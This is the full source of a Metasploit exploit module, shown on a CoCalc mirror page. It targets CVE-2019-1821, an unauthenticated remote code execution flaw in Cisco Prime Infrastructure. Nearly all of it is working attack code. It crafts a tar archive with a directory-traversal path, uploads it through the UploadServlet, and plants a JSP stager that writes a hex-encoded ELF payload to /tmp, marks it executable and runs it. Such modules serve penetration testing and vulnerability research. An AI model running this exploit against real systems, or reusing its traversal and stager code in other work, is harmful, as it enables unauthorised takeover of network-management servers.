CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cpi_tararchive_upload.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',
16
'Description' => %q{
17
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that
18
the TarArchive Java class the HA Health Monitor component uses does not check for any
19
directory traversals while unpacking a Tar file, which can be abused by a remote user to
20
leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps
21
directory, and gain arbitrary remote code execution. Note that authentication is not
22
required to exploit this vulnerability.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'Steven Seeley', # Original discovery, PoC
28
'sinn3r' # Metasploit module
29
],
30
'Platform' => 'linux',
31
'Arch' => ARCH_X86,
32
'Targets' =>
33
[
34
[ 'Cisco Prime Infrastructure 3.4.0.0', { } ]
35
],
36
'References' =>
37
[
38
['CVE', '2019-1821'],
39
['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],
40
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],
41
['URL', 'https://srcincite.io/advisories/src-2019-0034/'],
42
['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']
43
],
44
'DefaultOptions' =>
45
{
46
'RPORT' => 8082,
47
'SSL' => true,
48
49
},
50
'Notes' =>
51
{
52
'SideEffects' => [ IOC_IN_LOGS ],
53
'Reliability' => [ REPEATABLE_SESSION ],
54
'Stability' => [ CRASH_SAFE ]
55
},
56
'Privileged' => false,
57
'DisclosureDate' => '2019-05-15',
58
'DefaultTarget' => 0))
59
60
register_options(
61
[
62
OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),
63
OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])
64
])
65
end
66
67
class CPITarArchive
68
attr_reader :data
69
attr_reader :jsp_name
70
attr_reader :tar_name
71
attr_reader :stager
72
attr_reader :length
73
74
def initialize(name, stager)
75
@jsp_name = "#{name}.jsp"
76
@tar_name = "#{name}.tar"
77
@stager = stager
78
@data = make
79
@length = data.length
80
end
81
82
def make
83
data = ''
84
path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"
85
tar = StringIO.new
86
Rex::Tar::Writer.new(tar) do |t|
87
t.add_file(path, 0644) do |f|
88
f.write(stager)
89
end
90
end
91
tar.seek(0)
92
data = tar.read
93
tar.close
94
data
95
end
96
end
97
98
def check
99
res = send_request_cgi({
100
'rport' => datastore['WEBPORT'],
101
'SSL' => true,
102
'method' => 'GET',
103
'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')
104
})
105
106
unless res
107
vprint_error('No response from the server')
108
return CheckCode::Unknown
109
end
110
111
if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'
112
return CheckCode::Detected
113
end
114
115
CheckCode::Safe
116
end
117
118
def get_jsp_stager(out_file, bin_data)
119
# For some reason, some of the bytes tend to get lost at the end.
120
# Not really sure why, but some extra bytes are added to ensure the integrity
121
# of the code. This file will get deleted during cleanup anyway.
122
%Q|<%@ page import="java.io.*" %>
123
<%
124
String data = "#{Rex::Text.to_hex(bin_data, '')}";
125
FileOutputStream outputstream = new FileOutputStream("#{out_file}");
126
int numbytes = data.length();
127
byte[] bytes = new byte[numbytes/2];
128
for (int counter = 0; counter < numbytes; counter += 2)
129
{
130
char char1 = (char) data.charAt(counter);
131
char char2 = (char) data.charAt(counter + 1);
132
int comb = Character.digit(char1, 16) & 0xff;
133
comb <<= 4;
134
comb += Character.digit(char2, 16) & 0xff;
135
bytes[counter/2] = (byte)comb;
136
}
137
outputstream.write(bytes);
138
outputstream.close();
139
try {
140
Runtime.getRuntime().exec("chmod +x #{out_file}");
141
Runtime.getRuntime().exec("#{out_file}");
142
} catch (IOException exp) {}
143
%>#{Rex::Text.rand_text_alpha(30)}|
144
end
145
146
def make_tar
147
elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"
148
register_file_for_cleanup(elf_name)
149
elf = generate_payload_exe(code: payload.encoded)
150
jsp_stager = get_jsp_stager(elf_name, elf)
151
tar_name = Rex::Text.rand_text_alpha(10)
152
register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")
153
CPITarArchive.new(tar_name, jsp_stager)
154
end
155
156
def execute_payload(tar)
157
# Once executed, we are at:
158
# /opt/CSCOlumos
159
send_request_cgi({
160
'rport' => datastore['WEBPORT'],
161
'SSL' => true,
162
'method' => 'GET',
163
'uri' => normalize_uri(target_uri.path, tar.jsp_name)
164
})
165
end
166
167
def upload_tar(tar)
168
post_data = Rex::MIME::Message.new
169
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")
170
171
# The file gets uploaded to this path on the server:
172
# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp
173
res = send_request_cgi({
174
'method' => 'POST',
175
'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),
176
'data' => post_data.to_s,
177
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
178
'headers' =>
179
{
180
'Destination-Dir' => 'tftpRoot',
181
'Compressed-Archive' => 'false',
182
'Primary-IP' => '127.0.0.1',
183
'Filecount' => '1',
184
'Filename' => tar.tar_name,
185
'FileSize' => tar.length
186
}
187
})
188
189
(res && res.code == 200)
190
end
191
192
def exploit
193
tar = make_tar
194
print_status("Uploading tar file (#{tar.length} bytes)")
195
if upload_tar(tar)
196
print_status('Executing JSP stager...')
197
execute_payload(tar)
198
else
199
print_status("Failed to upload #{tar.tar_name}")
200
end
201
end
202
end
203
204